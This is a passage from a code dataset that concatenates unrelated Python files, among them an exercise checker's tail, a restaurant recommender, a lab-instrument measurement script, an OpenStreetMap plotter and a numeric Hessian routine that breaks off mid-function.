update_attempts(Check.parts, response)\n if 'update' in response:\n print('Posodabljam datoteko... ', end=\"\")\n backup_filename = backup(filename)\n with open(__file__, 'w', encoding='utf-8') as f:\n f.write(response['update'])\n print('Stara datoteka je bila preimenovana v {0}.'.format(backup_filename))\n print('Če se datoteka v urejevalniku ni osvežila, jo zaprite ter ponovno odprite.')\n Check.summarize()\n\nif __name__ == '__main__':\n _validate_current_file()\n","sub_path":"Zanka-while_3/bio_copici.py","file_name":"bio_copici.py","file_ext":"py","file_size_in_byte":21556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"292530519","text":"from TimeLogger import time_logger\r\n\r\n\r\n@time_logger\r\ndef welcome(name):\r\n \"\"\"\r\n 'welcome' function gets a name (String) and returns a greeting message\r\n :param name: name to greet\r\n :type name: String\r\n :return: a greeting message\r\n :rtype: String\r\n \"\"\"\r\n return \"Hello \" + name + \" and welcome to the World of Games (WoG).\\nHere you can find many cool games to play.\"\r\n\r\n\r\n@time_logger\r\ndef load_game():\r\n \"\"\"\r\n 'load_game' function gets choice of game and difficulty from the user\r\n :return: game choice (1-3) and difficulty choice (1-5)\r\n :rtype: Tuple of two integers\r\n \"\"\"\r\n print(\"\"\"\r\n Please choose a game to play:\r\n 1. Memory Game - a sequence of numbers will appear for 1 second and you have to guess it back\r\n 2. Guess Game - guess a number and see if you chose like the computer\r\n 3. Currency Roulette - try and guess the value of a random amount of USD in ILS\r\n \"\"\")\r\n game_choice = input(\"So, what game do you choose? (1-3): \")\r\n # validate that the game of choice is a single digit, between 1 and 3\r\n while not game_choice.isdigit() or not (1 <= int(game_choice) <= 3):\r\n print(\"Please enter a number- 1, 2 or 3.\")\r\n game_choice = input(\"So, what game do you choose? (1-3): \")\r\n\r\n game_difficulty = input(\"Please choose game difficulty from 1 to 5: \")\r\n # validate that the difficulty of choice is a single digit, between 1 and 5\r\n while not game_difficulty.isdigit() or not (1 <= int(game_difficulty) <= 5):\r\n print(\"Please enter a number between 1 to 5.\")\r\n game_difficulty = input(\"Please choose game difficulty from 1 to 5: \")\r\n\r\n return int(game_choice), int(game_difficulty)\r\n","sub_path":"Live.py","file_name":"Live.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"173757275","text":"import json\nimport numpy as np\nimport os\nimport sys\nfrom abc import ABC, abstractmethod\n\nfrom deap import creator, base, tools, algorithms\n\nfrom demo_controller import player_controller\n\n\nNUM_SENSORS = 20\nNUM_ACTIONS = 5\n\n\ndef select_representation(args, toolbox):\n if args.representation == \"Neurons\":\n return NeuronRep(args.num_neurons, toolbox=toolbox)\n else:\n raise RuntimeError('Unknown representation type encountered!')\n\n\nclass Representation(ABC):\n\n def __init__(self, config):\n with open('configs/{}'.format(config)) as c:\n self.config = json.loads(c)\n super(Representation, self).__init__()\n\n @abstractmethod\n def get_controller(self):\n raise NotImplementedError\n\n @abstractmethod\n def create_population(self):\n raise NotImplementedError\n\n\nclass NeuronRep(Representation):\n\n def __init__(self, num_neurons, toolbox=None):\n self.config = {\"num_neurons\": num_neurons,\n \"num_params\": (NUM_SENSORS + 1) * num_neurons + (num_neurons + 1) * NUM_ACTIONS}\n toolbox.register(\"attr_float\", np.random.uniform, -1, 1)\n toolbox.register(\"individual\", tools.initRepeat, creator.Individual, toolbox.attr_float, n=self.config[\"num_params\"])\n toolbox.register(\"population\", tools.initRepeat, list, toolbox.individual)\n self.toolbox = toolbox\n\n def get_controller(self):\n return player_controller(self.config['num_neurons'])\n\n def create_population(self, population_size):\n return self.toolbox.population(n=population_size)\n","sub_path":"representations.py","file_name":"representations.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"186652972","text":"import qt\r\nimport numpy as np\r\nimport os\r\nimport shutil\r\nimport sys\r\nimport progressbar\r\nfrom constants import *\r\n\r\ndef copy_script(once):\r\n if once:\r\n shutil.copy2('%s'%sys.argv[0],'%s/%s'%(data.get_filepath()[:-(len(data.get_filename())+1)],os.path.basename(sys.argv[0])))\r\n\r\n\r\nfsv = qt.instruments.create('FSV', 'RhodeSchwartz_FSV', address = FSV_ADDRESS, reset= True)\r\nznb = qt.instruments.create('ZNB20', 'RhodeSchwartz_ZNB20', address=ZNB20_ADDRESS, reset= True)\r\nsmf = qt.instruments.create('SMF100', 'RhodeSchwartz_SMF100', address = SMF100_ADDRESS)\r\nqs = qt.instruments.create('GS200', 'Yokogawa_GS200', address='USB0::0x0B21::0x0039::91T416206::INSTR')\r\n\r\n\r\n# How many traces\r\nno_of_traces = 200\r\ntarget_value = -75.8 - 1.0\r\n# ibias = 134.615*mA # This is varied during the flux search\r\n\r\n#current sweep\r\nstart_curr=30*mA\r\nstop_curr=180*mA\r\ncurr_points=5\r\nfixed_curr=0*mA\r\ncurr_list=np.linspace(start_curr,stop_curr,curr_points)\r\n\r\n## FSV parameters\r\ncenter_frequency = 6025.*MHz\r\nspan = 200*Hz\r\nRBW = 2*Hz\r\nnumpoints = 401\r\nref_level = -70 #dBm\r\n\r\n# wm = 6.583815*MHz #-19 Volt\r\n#wm = 6.584205*MHz #-15 Volt\r\nwm=6.582210*MHz #-30 Volt\r\n\r\n#### SMF parameters\r\nsmf_freq = 6025*MHz\r\nsmf_power_start = -10\r\nsmf_power_stop = -10\r\nsmf_power_pts = 1\r\nrepeat = 1\r\n# VNA\r\n\r\nprobe_center = center_frequency\r\nprobe_span = 80*MHz\r\nprobe_numpoints = 201\r\nif_bw_0 = 100*Hz\r\nprobe_power = 0\r\n\r\n# two_probe_span = 2*Hz\r\ntwo_probe_numpoints = 1\r\ntwo_if_bw_1 = 2*Hz\r\ntwo_probe_power = 0\r\n\r\n# Prepare FSV\r\n\r\n\r\nfsv.set_centerfrequency(center_frequency)\r\nfsv.set_span(span)\r\nfsv.set_bandwidth(RBW)\r\nfsv.set_sweep_points(numpoints)\r\nfsv.set_referencelevel(ref_level)\r\n\r\n# Prepare SMF\r\nsmf.set_frequency(smf_freq)\r\nsmf.set_source_power(smf_power_start)\r\nsmf.rf_on()\r\n\r\n\r\n# Setup VNA\r\nznb.add_trace('S21')\r\nznb.set_external_reference(True)\r\nznb.set_source_power(probe_power)\r\nznb.rf_on()\r\nznb.set_sweep_mode('single')\r\n\r\n\r\ndef check_cavity():\r\n smf.rf_off()\r\n znb.set_source_power(probe_power)\r\n znb.set_center_frequency(probe_center)\r\n znb.set_numpoints(probe_numpoints)\r\n znb.set_span(probe_span)\r\n znb.set_if_bandwidth(if_bw_0)\r\n znb.send_trigger(wait=True)\r\n znb.autoscale()\r\n\r\n\r\ndef cw_setup():\r\n smf.rf_off()\r\n znb.rf_on()\r\n znb.set_source_power(two_probe_power)\r\n znb.set_numpoints(two_probe_numpoints)\r\n znb.set_center_frequency(probe_center)\r\n znb.set_if_bandwidth(two_if_bw_1)\r\n \r\ndef thermal():\r\n smf.rf_on()\r\n qt.msleep(0.1)\r\n znb.set_source_power(-60)\r\n znb.rf_off()\r\n\r\ndef get_peak():\r\n znb.send_trigger(wait=True)\r\n znb.autoscale()\r\n dummy = znb.get_data('S21')\r\n return 20*np.log10(np.abs(dummy[0]))\r\n\r\ndef flux_adjust_finest(ibias):\r\n # ibias = qs.get_level()\r\n i_list = np.linspace(-3*uA, 3*uA, 7)\r\n ls = []\r\n print('Adjusting Finest ... ')\r\n for curr in i_list:\r\n qs.sweep_current(ibias + curr)\r\n val = get_peak()\r\n print(str(val) + ' '+ str((ibias + curr)*1e3))\r\n ls = np.append(ls, val)\r\n\r\n max_pos = np.max(ls)\r\n ib = ibias + i_list[np.argmax(ls)]\r\n if (max_pos > target_value):\r\n print('*locked*')\r\n qs.sweep_current(ib)\r\n else:\r\n flux_adjust_finer(ib)\r\n\r\ndef flux_adjust_finer(ibias):\r\n print('Adjusting Finer ... ')\r\n i_list = np.linspace(-30*uA, 30*uA, 16)\r\n ls = []\r\n for curr in i_list:\r\n qs.sweep_current(ibias + curr)\r\n val = get_peak()\r\n print(str(val) + ' '+ str((ibias + curr)*1e3))\r\n ls = np.append(ls, val)\r\n\r\n max_pos = np.max(ls)\r\n ib = ibias + i_list[np.argmax(ls)]\r\n if (max_pos > target_value - 3.0):\r\n qs.sweep_current(ib)\r\n flux_adjust_finest(ib)\r\n else:\r\n flux_adjust_coarse(ib)\r\n\r\n\r\ndef flux_adjust_coarse(ibias):\r\n i_list = np.linspace(-500*uA, 500*uA, 101)\r\n ls = []\r\n print('Adjusting Coarse ... ')\r\n for curr in i_list:\r\n qs.sweep_current(ibias + curr)\r\n val = get_peak()\r\n print(str(val) + ' '+ str((ibias + curr)*1e3))\r\n ls = np.append(ls, val)\r\n\r\n max_pos = np.max(ls)\r\n ib = ibias + i_list[np.argmax(ls)]\r\n if (max_pos > target_value - 10):\r\n qs.sweep_current(ib)\r\n flux_adjust_finer(ib)\r\n\r\n else:\r\n manual_adjust()\r\n\r\n\r\ndef manual_adjust():\r\n znb.set_sweep_mode('cont')\r\n check_cavity()\r\n print('******* ADJUST FLUX ********')\r\n raw_input('then press enter to continue')\r\n znb.set_sweep_mode('single')\r\n\r\n\r\n\r\ndef data_file(pw):\r\n data=qt.Data(name=str(pw) +str( amp+fixed_curr)+'curr(mA)'+'test')\r\n data.add_coordinate('counter', units='nothing')\r\n data.add_coordinate('Frequency', units='Hz')\r\n data.add_value('PSD_red', units = 'dBm')\r\n data.add_value('PSD_blue', units = 'dBm')\r\n return data\r\n\r\n\r\n\r\nincr = np.arange(no_of_traces)\r\n\r\nin_meta = [center_frequency - span/2, center_frequency + span/2, numpoints, 'Frequency (Hz)']\r\nout_meta = [no_of_traces, 1.0, no_of_traces,'Counter']\r\nonce = True\r\n\r\nsmf_power_array = np.linspace(smf_power_start, smf_power_stop, smf_power_pts)\r\n\r\npw_list = []\r\nfor pw in smf_power_array:\r\n pw_list = np.append(pw_list, np.linspace(pw, pw, repeat))\r\nfor amp in curr_list:\r\n qs.sweep_current(amp)\r\n for pw in pw_list:\r\n smf.set_source_power(pw)\r\n data = data_file(pw)\r\n value = 0\r\n mp = []\r\n curr_array = []\r\n check_cavity()\r\n\r\n while value < no_of_traces:\r\n print(value)\r\n value_array = np.linspace(value, value, numpoints)\r\n thermal()\r\n fsv.set_centerfrequency(smf_freq - wm)\r\n qt.msleep(1.0)\r\n fsv.run_single()\r\n trace1= fsv.get_data()\r\n fsv.set_centerfrequency(smf_freq + wm)\r\n qt.msleep(1.0)\r\n fsv.run_single()\r\n trace2= fsv.get_data()\r\n cw_setup()\r\n measure_peak = get_peak()\r\n measure_curr = qs.get_level()*1e3\r\n print(str(measure_peak)+' '+str(measure_curr))\r\n mp = np.append(mp, measure_peak)\r\n curr_array = np.append(curr_array, measure_curr)\r\n if measure_peak > target_value:\r\n data.add_data_point(value_array, smf_freq - trace1[0], trace1[1], trace2[1])\r\n value = value + 1\r\n else:\r\n it = qs.get_level()\r\n flux_adjust_finest(it)\r\n\r\n print('got a trace')\r\n if value == 1:\r\n copy_script(True)\r\n data.metagen2D(in_meta, out_meta)\r\n\r\n file = open(data.get_filepath()[:-4]+'_peak_curr_list.dat', 'w+')\r\n for index, val in enumerate(mp):\r\n file.write(str(val)+'\\t'+str(curr_array[index])+'\\n')\r\n\r\n file.close()\r\n data.close_file()\r\n\r\n\r\nsmf.rf_off()","sub_path":"scripts/Qubit/TwoTone/VibratingAtom/Thermal_Motion_with_tracking_current_sweep.py","file_name":"Thermal_Motion_with_tracking_current_sweep.py","file_ext":"py","file_size_in_byte":6783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"216915651","text":"from crispy_forms.bootstrap import FormActions\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Div, Field, Button, Submit, HTML\nfrom django import forms\nfrom .models import ChangeOrder\n\n\nclass ChangeOrderForm(forms.ModelForm):\n class Meta:\n model = ChangeOrder\n fields = ['title', 'slug', 'project', 'description']\n widgets = {\n 'slug': forms.HiddenInput(),\n 'project': forms.HiddenInput(),\n }\n\n def __init__(self, *args, **kwargs):\n \"\"\"\n\n :param args:\n :param kwargs:\n \"\"\"\n super(ChangeOrderForm, self).__init__(*args, **kwargs)\n self.helper = FormHelper()\n self.helper.help_text_inline = True\n #self.helper.form_tag = False\n self.helper.form_id = 'change-form'\n #self.helper.form_class = 'form-horizontal'\n #self.helper.form_action = 'updates:update-form'\n self.helper.layout = Layout(\n Div(\n Div(\n Field('title', css_class=\"input-block-level\"),\n 'slug',\n 'project',\n ),\n Div(\n HTML('
'),\n Field('description', rows=8, css_class='input-block-level'),\n ),\n Div(\n FormActions(\n Submit('save_change', 'Submit', css_class=\"btn-primary\"),\n Button('cancel', 'Cancel')\n )\n )\n )\n )\n","sub_path":"cpm/changes/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"358308612","text":"def is_prime(no):\n\tfor i in range(2,no):\n\t\tif no % i == 0:\n\t\t\treturn False\n\treturn True\n\ndef closest_prime(no,lh):\n\twhile not is_prime(no):\n\t\tif lh == \"high\":\n\t\t\tno += 1\n\t\telse:\n\t\t\tno -= 1\n\treturn no\n\nnumber = 270\n\nif is_prime(number):\n\tprint (\"{0} is a prime number\").format(number)\nelse:\n\tprint(closest_prime(number,\"low\"),number,closest_prime(number,\"high\"))\t","sub_path":"p3-closest_prime_numbers.py","file_name":"p3-closest_prime_numbers.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"138013417","text":"# encoding: utf-8\n\nfrom concurrent.futures import ThreadPoolExecutor\nimport time\n\n\ntotal_cost = 0\nout_count = 100\n\n\ndef echo_num(num1, num2):\n # print(num1, num2)\n # time.sleep(1)\n return num1 + num2\n\n\nfor j in range(out_count):\n\n start = time.time()\n fs = []\n with ThreadPoolExecutor(10) as executor:\n for i in range(10000):\n f = executor.submit(echo_num, 1, i)\n fs.append(f)\n\n for f in fs:\n r = f.result()\n\n cost = time.time() - start\n total_cost += cost\n\nprint('====' + str(total_cost / out_count))\n\"\"\"\n1 5\n2 6\n3 7\nresult_iterators = executor.map(echo_num, [1, 2, 3], [5, 6, 7])\n\nfor result in result_iterators:\n print(result)\n\n\"\"\"\n","sub_path":"basic/test_thread2.py","file_name":"test_thread2.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"369958043","text":"\"\"\"\r\ninformatics 113652\r\n\r\nОпределить можно ли с использованием только операций «прибавить 3» и\r\n«прибавить 5» получить из числа 1 число N (N - натуральное,\r\nне превышает 10^6).\r\n\"\"\"\r\n\r\n\r\ndef naive(n):\r\n while n > 0:\r\n if n == 1:\r\n print('YES')\r\n break\r\n if n > 5:\r\n n = n - 5\r\n else: n -= 3\r\n if n % 3 == 0 and n >= 0:\r\n print('YES')\r\n break\r\n if n < 0:\r\n print('NO')\r\n\r\n\r\ndef bruteforce(n):\r\n \"\"\" n-1 = 5*m + 3*k\r\n m <= (n-1)/5\r\n k <= (n-1)/3\r\n\r\n try this for all possible (m, k) pairs\r\n \"\"\"\r\n for m in range((n-1)//5 + 1):\r\n for k in range((n-1)//3 + 1):\r\n if n-1 == 5*m + 3*k:\r\n return True\r\n\r\n return False\r\n\r\n\r\ndef math_hack(n):\r\n return n not in [0,2,3,5,8]\r\n\r\n\r\ndef recursive(n):\r\n print(\"recursive:\", n)\r\n if n == 1:\r\n return True\r\n elif n < 1:\r\n return False\r\n else:\r\n return recursive(n-3) or recursive(n-5)\r\n \r\n\r\ndef print_all_good_numbers_table():\r\n size = 4\r\n for k in range(size):\r\n for m in range(size):\r\n print(5 * m + k * 3 + 1, end=' ')\r\n print()\r\n \r\n\r\ndef main():\r\n n = int(input())\r\n\r\n #answer = math_hack(n)\r\n answer = recursive(n)\r\n if answer:\r\n print(\"YES\")\r\n else:\r\n print(\"NO\")\r\n\r\n #print_all_good_numbers_table()\r\n\r\nmain()\r\n\r\n \r\n","sub_path":"python_files/informatics_mccme/problem_functions_113652.py","file_name":"problem_functions_113652.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"490429587","text":"# /usr/bin/python\r\n# -*- coding:utf-8 -*-\r\n\r\nimport pandas as pd\r\nimport logging\r\n\r\n\"\"\"\r\ncommon argument of context\r\n\"\"\"\r\nRESULT_PDF_FILES = []\r\nRESULT_GROUPS_FILES = []\r\nCONFIG_FILE = ''\r\nworking_file_name = ''\r\nlogger = logging.getLogger('benchmark')\r\n\r\n\"\"\"configure\"\"\"\r\nEMAIL_CFG = {}\r\nBENCHMARK_CFG = {}\r\nOUTPUT_CFG = {}\r\nTASK_CFG = {}\r\n\r\n\"\"\"working mode\"\"\"\r\nRUNNING_TASK = False\r\nUPDATE_SOURCE = False\r\nBUILD_SOURCE = False\r\nSEND_EMAIL = False # True : post result to all people\r\nCREATE_PROCESS = False # True : if only compare\r\n\r\n'''\r\nRUN (default): compare result directory files\r\nAUTO: compare result to anchor file\r\nMULTIPLE: compare two file\r\nSINGLE: compare one file\r\n'''\r\n(COMPARE_RUN, COMPARE_AUTO, COMPARE_MULTIPLE, COMPARE_SINGLE) = range(4) # compare one file\r\nCOMPARE = COMPARE_RUN\r\n\r\nanchor_file_path = ''\r\ntest_file_path = ''\r\n\r\ndata_frame = pd.DataFrame()\r\n\r\n'''result round'''\r\nDATA_ROUND = 2\r\nQP_SIZE = 4\r\n\r\n'''task'''\r\ncount = 0\r\nNB_FIG = 4\r\nFIG = ('|', '/', '-', '\\\\')\r\n","sub_path":"context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"111651259","text":"import math\nimport pandas as pd\nimport toolz\nimport numpy as np\nfrom sklearn import linear_model\nfrom sklearn.metrics import r2_score, mean_squared_error, mean_absolute_error\n\n\ncategories_path = \"data/restaurants/restaurants_categories.csv\"\nitems_path = \"data/restaurants/items.txt\"\nrating_train_path = \"data/restaurants/restaurants_training.txt\"\nrating_test_path = \"data/restaurants/restaurants_test.txt\"\n\ndef create_item_categories():\n items_data = pd.read_csv(items_path, delimiter=\"::\", header=None, engine='python')\n items_data.columns = ['itemid', 'categories']\n\n # data cleaning (remove the records that are greater than 100 chars or have HREF )\n items_data = items_data[\n (items_data['categories'].str.len() < 100) & (~items_data['categories'].str.contains(\"a href\"))]\n\n items_dictionary = dict(zip(\n items_data['itemid'].values.tolist(),\n [v.replace(\"Fast Food\", \"FastFood_\").\n replace(\" Food\", \" \"). # remove word 'Food'\n replace(\"Food \", \" \").\n replace(\" \", \" \"). # remove extra blanks\n replace(\" \", \" \").\n strip() # trim\n for v in items_data['categories'].values.tolist()]))\n\n return items_dictionary\n\n\ndef get_categories_list(x):\n list_split = x.split(\" \")\n if list_split:\n return categories_to_ids(x, [list_split[0]], list_split[1:], set())\n return list()\n\n\ndef categories_to_ids(orig_str, curr_list, rest_list, id_set):\n #decode categories to IDs\n\n categories_data = pd.read_csv(categories_path, header=None, sep='@')\n\n categories_dictionary = dict(\n zip(categories_data[0].values.tolist(), range(len(categories_data[0].values.tolist()))))\n\n key = \" \".join(curr_list)\n\n if (key in categories_dictionary and not rest_list):\n return id_set | {categories_dictionary[key]} # this is the last category\n\n if (key not in categories_dictionary and not rest_list):\n print(\"key not found: \" + key + \"; orig_str:\" + orig_str)\n return id_set\n\n # check if the category can be expanded by next token (greedy algorithm)\n next_key = \" \".join(curr_list + rest_list[0:1])\n if (key in categories_dictionary and next_key not in categories_dictionary and rest_list[0] not in ['&', 'and']):\n # there is also match for next token\n return categories_to_ids(orig_str, rest_list[0:1], rest_list[1:], id_set | {categories_dictionary[key]})\n else:\n # no match for next token - using current category\n return categories_to_ids(orig_str, curr_list + rest_list[0:1], rest_list[1:], id_set)\n\n\ndef create_category_frame(item_category_dictionary):\n items_list = list()\n category_list = list()\n for k, value in item_category_dictionary.items():\n for v in value:\n items_list.append(k)\n category_list.append(v)\n item_category_df = pd.DataFrame({'itemid': items_list, 'categoryid': category_list})\n # add value column\n import numpy as np\n item_category_df['value'] = pd.Series(np.ones((len(items_list),)), index=item_category_df.index)\n\n #create frame with itemids as rows and categories as columns\n return item_category_df.pivot(index='itemid', columns='categoryid', values='value').fillna(0)\n\n\ndef normalize_category_frame(category_frame, category_idf):\n # normalize features\n number_of_features = category_frame.sum(axis=1)\n category_frame = category_frame.apply(lambda r: r.apply(\n lambda v: v / np.sqrt(number_of_features[r.name]) if (v > 0) else v), axis=1)\n\n return category_frame.apply(lambda r: np.multiply(r, category_idf), axis=1)\n\n\ndef create_category_idf(category_frame):\n return category_frame.sum(axis=0).map(lambda x: math.log10(category_frame.shape[0] / x))\n\n\ndef train_linear_model(rating_train_data_with_categories):\n user_profile_model_dict = dict()\n user_profile_avg_dict = dict()\n\n for name, group in rating_train_data_with_categories.groupby('userid'):\n rating = group[['rating']]\n df = group.drop('userid', axis=1).drop('rating', axis=1).drop('itemid', axis=1)\n\n regr = linear_model.Lasso(alpha=1)\n regr.fit(df, rating)\n\n user_profile_model_dict[name] = np.append(regr.coef_, regr.intercept_)\n user_profile_avg_dict[name] = np.average(rating)\n\n return (user_profile_model_dict, user_profile_avg_dict)\n\n\ndef predict(rating_test_data, user_profile_model_dict, user_profile_avg_dict, categories_frame):\n predition = list()\n for index, row in rating_test_data.iterrows():\n\n if row['userid'] in user_profile_model_dict:\n\n if row['itemid'] in categories_frame.index:\n res = np.dot(np.append(categories_frame.loc[row['itemid']].as_matrix(), 1),\n user_profile_model_dict[row['userid']])\n else:\n # print (row['itemid'])\n res = user_profile_avg_dict[row['userid']]\n\n predition.append(res)\n\n return predition\n\n\ndef main():\n # create item -> category map\n categories = create_item_categories()\n\n #decode categories\n item_category_dictionary = toolz.valmap(get_categories_list, categories)\n\n #create data frame: rows items, cols categories\n categories_frame = create_category_frame(item_category_dictionary)\n\n #create IDF vestor for categories\n category_idf = create_category_idf(categories_frame)\n\n #normalize values by square root of categories count and by IDF\n category_frame_normalized = normalize_category_frame(categories_frame, category_idf)\n\n #read train and test rating data\n rating_train_data = pd.read_csv(rating_train_path, delimiter=\"::\", header=None, engine='python')\n rating_train_data.columns = ['userid', 'itemid', 'rating']\n rating_test_data = pd.read_csv(rating_test_path, delimiter=\"::\", header=None, engine='python')\n rating_test_data.columns = ['userid', 'itemid', 'rating']\n\n #join rating data with categories data\n rating_train_data_with_categories = pd.merge(left=rating_train_data, right=category_frame_normalized,\n left_on='itemid', right_index=True)\n\n #build linear model\n (user_profile_model_dict, user_profile_avg_dict) = train_linear_model(rating_train_data_with_categories)\n\n #calculate RSME\n prediction = predict(rating_test_data, user_profile_model_dict, user_profile_avg_dict, categories_frame)\n\n print(\"RSME for restaurant recommendation is \",\n mean_squared_error(rating_test_data[['rating']], prediction))\n\n print(\"RME for restaurant recommendation is \",\n mean_absolute_error(rating_test_data[['rating']], prediction))\n\n print(\"R squared for restaurant recommendation is \",\n r2_score(rating_test_data[['rating']], prediction))\n\n\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"HW1/ContentBaseRecommendations/content_base_restaurants_recommendation.py","file_name":"content_base_restaurants_recommendation.py","file_ext":"py","file_size_in_byte":6825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"538151107","text":"#coding:utf-8\n'''\n数据分析\n'''\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef read_data(train_path):\n with open(train_path, 'r') as f:\n cnt = 0\n idx = []\n idx, text, label = [], [], []\n for line in f:\n cnt +=1\n if cnt ==1 :continue # 标签行\n line_arr = line.split(\"\\t\")\n if len(line_arr) == 3:\n idx.append(line_arr[0])\n text.append(line_arr[1])\n label.append(line_arr[2])\n else:\n raise \"train data length error!!!\"\n return idx, text, label\n \n\ndef get_len(train_text_array):\n return [len(item) for item in train_text_array]\n\ndef plot(train_len, png_name):\n save_path = './' + png_name\n\n plt.figure()\n plt.title(png_name)\n plt.xlabel('train_txt_length')\n plt.ylabel('Count')\n plt.hist(train_len, bins=50, range=[1,500], alpha=0.3, color='r')\n # plt.legend()\n # plt.show()\n plt.savefig(save_path)\n\n\n\nif __name__ == \"__main__\":\n train_path = \"../task1/train_new.csv\"\n idx, text, label = read_data(train_path)\n text_len = np.array(get_len(text))\n print(np.std(text_len)) # 99.6330281646925 , 未做任何处理,长度均值99\n plot(get_len(text), 'tain_len_distribution.png')\n\n","sub_path":"data/data_analysis/data_analysis.py","file_name":"data_analysis.py","file_ext":"py","file_size_in_byte":1298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"195980349","text":"from xml.dom import minidom\nimport plotly.graph_objects as go\n\n\ndef GetName(node):\n names = [tag.attributes['v'].value for tag in node.getElementsByTagName('tag') if tag.attributes['k'].value == \"name\"]\n\n if len(names) > 0:\n return node.attributes['id'].value + '. ' + names[0]\n return node.attributes['id'].value + '.'\n\n\ndef IsStop(node):\n if node.attributes['visible'].value == 'false':\n return False\n tags = [tag for tag in node.getElementsByTagName('tag') if\n tag.attributes['k'].value == \"public_transport\" and tag.attributes['v'].value == \"stop_position\"]\n return len(tags) > 0\n\n\ndef IsPath(node, type):\n if node.attributes['visible'].value == 'false':\n return False\n tags = [tag for tag in node.getElementsByTagName('tag') if\n tag.attributes['k'].value == \"highway\" and tag.attributes['v'].value == type]\n return len(tags) > 0\n\n\ndef GetPathNodes(nodes, node):\n ids = [nd.attributes['ref'].value for nd in node.getElementsByTagName('nd') if 'ref' in nd.attributes]\n path_nodes = {node.attributes['id'].value: node for node in nodes if node.attributes['id'].value in ids}\n\n return [path_nodes[id] for id in ids]\n\n\ndef GetLatLon(node):\n return float(node.attributes['lon'].value), float(node.attributes['lat'].value)\n\n\ndef AddPath(data, nodes, type, marker):\n print(f\"Parsing ways {type} ...\")\n poss = [([GetLatLon(node) for node in GetPathNodes(nodes, path)], GetName(path)) for path in ways if IsPath(path, type)]\n first = True\n for way, name in poss:\n x, y = [pos[0] for pos in way], [pos[1] for pos in way]\n data.append(go.Scatter(x=x, y=y, mode=\"lines\", marker=marker, text=name, name=type, legendgroup=type, showlegend=first))\n first = False\n\n\nprint(\"Parsing document ...\")\nxmldoc = minidom.parse('poruba.osm')\n\ndata = []\nprint(\"Parsing nodes ...\")\nnodes = xmldoc.getElementsByTagName('node')\nprint(\"Parsing ways ...\")\nways = xmldoc.getElementsByTagName('way')\n\nstopMarker = go.scatter.Marker(color='red')\nresMarker = go.scatter.Marker(color='green')\nsecMarker = go.scatter.Marker(color='orange')\nprmMarker = go.scatter.Marker(color='blue')\ncycleMarker = go.scatter.Marker(color='darkgreen')\nfootMarker = go.scatter.Marker(color='gray')\n\nAddPath(data, nodes, \"footway\", footMarker)\nAddPath(data, nodes, \"residential\", resMarker)\nAddPath(data, nodes, \"cycleway\", cycleMarker)\nAddPath(data, nodes, \"secondary\", secMarker)\nAddPath(data, nodes, \"primary\", prmMarker)\n\nprint(\"Stops ...\")\nposs = [(GetLatLon(stop), GetName(stop)) for stop in [stop for stop in nodes if IsStop(stop)]]\nx, y = [pos[0][0] for pos in poss], [pos[0][1] for pos in poss]\nnames = [pos[1] for pos in poss]\ndata.append(go.Scatter(x=x, y=y, mode='markers', marker=stopMarker, marker_size=10, text=names, name=\"stops\"))\n\nprint(\"Done\")\nfig = go.Figure(data=data)\nfig.show()\n","sub_path":"OpenStreetMap/Map.py","file_name":"Map.py","file_ext":"py","file_size_in_byte":2864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"307476543","text":"import logging\nlogger = logging.getLogger('Hessian')\n\nimport numpy\n\ndef hessian_elem(func, f0, params, i, j, hi, hj, args=()):\n \"\"\"\n Second partial derivative of func w.r.t. parameters i and j\n\n f0: Value of the function at params\n eps: Stepsize to use\n \"\"\"\n origPi, origPj = params[i], params[j]\n\n if i == j:\n params[i] = origPi + hi\n fp = func(params, *args)\n\n params[i] = origPi - hi\n fm = func(params, *args)\n\n element = (fp - 2*f0 + fm)/hi**2\n else:\n # f(xi + hi, xj + h)\n params[i] = origPi + hi\n params[j] = origPj + hj\n fpp = func(params, *args)\n\n # f(xi + hi, xj - hj)\n params[i] = origPi + hi\n params[j] = origPj - hj\n fpm = func(params, *args)\n\n # f(xi - hi, xj + hj)\n params[i] = origPi - hi\n params[j] = origPj + hj\n fmp = func(params, *args)\n\n # f(xi - hi, xj - hj)\n params[i] = origPi - hi\n params[j] = origPj - hj\n fmm = func(params, *args)\n\n element = (fpp - fpm - fmp + fmm)/(4 * hi * hj)\n\n params[i], params[j] = origPi, origPj\n\n return element\n\ndef hessian(func, params, eps, args=()):\n \"\"\"\n Matrix of second partial derivatives of func. Hij = dfunc/(dp_i dp_j).\n\n func: Function to work with. This function should take params as its first\n argument, and then any number of *args. It will often be convenient\n to use lambda to define the appropriate function.\n params: Parameter values to take derivatives about.\n eps: Stepsize to use. This can be a vector, giving the size for each param.\n args: Optional additional arguments to pass to func.\n \"\"\"\n params = numpy.asarray(params)\n # Convert eps from (possibly) a constant to a vector.\n eps = eps + numpy.zeros(len(params))\n # compute cost at f(x)\n f0 = func(params, *args)\n\n hess = numpy.zeros((len(params), len(params)))\n # compute all (numParams*(numParams + 1))/2 unique hessian 